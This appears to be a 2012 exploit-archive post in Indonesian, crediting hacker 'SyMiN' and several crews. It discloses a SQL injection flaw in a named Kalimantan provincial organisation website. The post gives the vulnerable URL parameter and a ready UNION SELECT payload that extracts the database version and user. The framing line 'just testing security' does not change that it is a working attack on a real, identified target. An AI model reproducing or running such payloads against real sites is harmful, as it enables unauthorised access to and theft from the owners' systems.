SQL injection vulnerability situs pemerintah kalimantan M Miftahul Ulum rwxr-xr-x 1 3/21/2012

Filename	SQL injection vulnerability situs pemerintah kalimantan
Permission	rw-r--r--
Author	M Miftahul Ulum
Date and Time	3/21/2012
Label
Action

#############################################
# Exploit Tittle : SQLi                     #
# Author         : SyMiN                    #
# Tested         : linux bt5r2              #
# Date           : 21 Mar , 2012            #
#############################################


[title]
# SQL injection vulnerability situs pemerintah kalimantan


[note]
# Telah di temukan bug SQL Injection di website:
  http://pkkprovkalsel.or.id
  oleh SyMiN

http://pkkprovkalsel.or.id/berita_detail.cfm?judul=72[vuln]

[coba]

http://pkkprovkalsel.or.id/berita_detail.cfm?judul=72%20UNION%20SELECT%201,2,version%28%29,user%28%29,5,6--

[thx]
# MAGELANG CYBER TEAM
# INDONESIAN CODER TEAM
# KILL-9 CREW
# PASTEL CYBER CREW


[piss]
# just testing security (^_^)v